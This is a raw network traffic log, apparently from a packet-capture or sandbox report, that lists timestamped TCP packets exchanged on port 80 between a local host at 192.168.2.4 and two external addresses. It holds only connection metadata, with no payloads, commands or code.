Nov 23, 2024 17:44:39.630074024 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.630117893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.630167961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.630964994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631015062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.631020069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631032944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631045103 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631062984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.631117105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.631117105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.631846905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631896019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.631936073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.631980896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.706231117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706290960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706309080 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706336021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706346989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706357956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.706383944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.706423044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707215071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707263947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707276106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707278013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707328081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707328081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707779884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707828045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707855940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707868099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707907915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707907915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.707923889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.707972050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.708724022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.708738089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.708750010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.708777905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.708810091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.708834887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.708864927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.709717989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.709729910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.709741116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.709753990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.709768057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.709805965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.709805965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.710623026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.710634947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.710645914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.710686922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.710686922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.711201906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.711263895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.711791992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.711803913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.711816072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:39.711832047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.711848974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:39.711864948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.050662994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.177165031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505156040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505214930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505218983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505229950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505254030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505265951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505420923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505434990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505449057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505460978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505475998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505485058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.505523920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.505559921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.506297112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.506349087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.506350040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.506366014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.506392956 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.506448984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.506493092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.507225990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.507268906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.507323980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.507342100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.507356882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.507366896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.507375956 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.507395983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.508210897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.508239985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.508255005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.508263111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.508279085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.508285999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.508330107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.508382082 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.509113073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.509157896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.509162903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.509177923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.509197950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.509212971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.509357929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.509404898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.509958029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510004997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.510021925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510035992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510061026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.510076046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.510282040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510333061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.510922909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510945082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510958910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510971069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.510972977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.510979891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.511001110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.511014938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.511796951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.511837959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.511842966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.511857986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.511879921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.511892080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.512043953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.512101889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.512751102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.512808084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.629874945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.629976988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630059958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630079031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630093098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630101919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630116940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630131960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630264997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630311966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630356073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630407095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630410910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630429983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630444050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630467892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.630511999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.630553961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.631306887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.631329060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.631342888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.631361008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.631361008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.631381035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.631417036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.631458044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.632198095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.632241011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.632253885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.632267952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.632291079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.632304907 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.632340908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.632378101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.633093119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.633135080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.633147001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.633162022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.633182049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.633194923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.633214951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.633260965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.633965015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634012938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634025097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634038925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634071112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634090900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634116888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634155989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634901047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634939909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634951115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634953022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.634978056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.634991884 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.635046005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.635088921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.635853052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.635867119 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.635880947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:40.635900021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:40.635911942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:41.141196966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:41.141233921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:41.262805939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:41.262856007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:42.274280071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:42.274435997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:42.314721107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:42.434429884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.227864027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.227900028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.227910995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.227941990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:43.228024006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:43.230742931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:43.350927114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.687455893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:43.687596083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:43.699423075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:43.819081068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:44.638103008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:44.638226032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:44.665534019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:44.876066923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:45.205169916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:45.205270052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:45.208836079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:45.328547955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:45.328713894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:45.328917980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:45.449039936 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706070900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706156015 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706186056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.706207037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.706727028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706784010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.706799030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706815004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.706837893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.706852913 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.707938910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.707956076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.707971096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.707992077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.708010912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.708694935 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.708740950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.708791971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.708839893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.825812101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.825870991 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.825922966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.825963020 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.866121054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.866277933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.866283894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.866328001 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.908759117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.908845901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.908876896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.908905029 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.912997961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.913058043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.913113117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.913161039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.921386957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.921442986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.921489954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.921544075 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.929769039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.929822922 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.929866076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.929913044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.938200951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.938263893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.938308001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.938357115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.946525097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.946588993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.946639061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.946686029 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.955102921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.955164909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.955200911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.955250025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.963407040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.963438988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.963462114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.963478088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.970963001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.971018076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.971092939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.971141100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.978679895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.978749990 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.978878975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.978926897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:46.986124039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:46.986213923 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.075898886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.075984001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.075999022 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.076025009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.079669952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.079724073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.109637976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.109718084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.109725952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.109769106 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.111632109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.111685038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.111785889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.111840010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.115852118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.115926981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.115973949 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.116022110 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.119232893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.119291067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.119430065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.119477987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.123039961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.123089075 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.123126984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.123167038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.126854897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.126907110 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.126945019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.126985073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.130693913 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.130748034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.130814075 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.130861998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.134531021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.134584904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.134653091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.134701967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.138350010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.138410091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.138528109 CET	80	49756	185.215.113.16	192.168.2.4
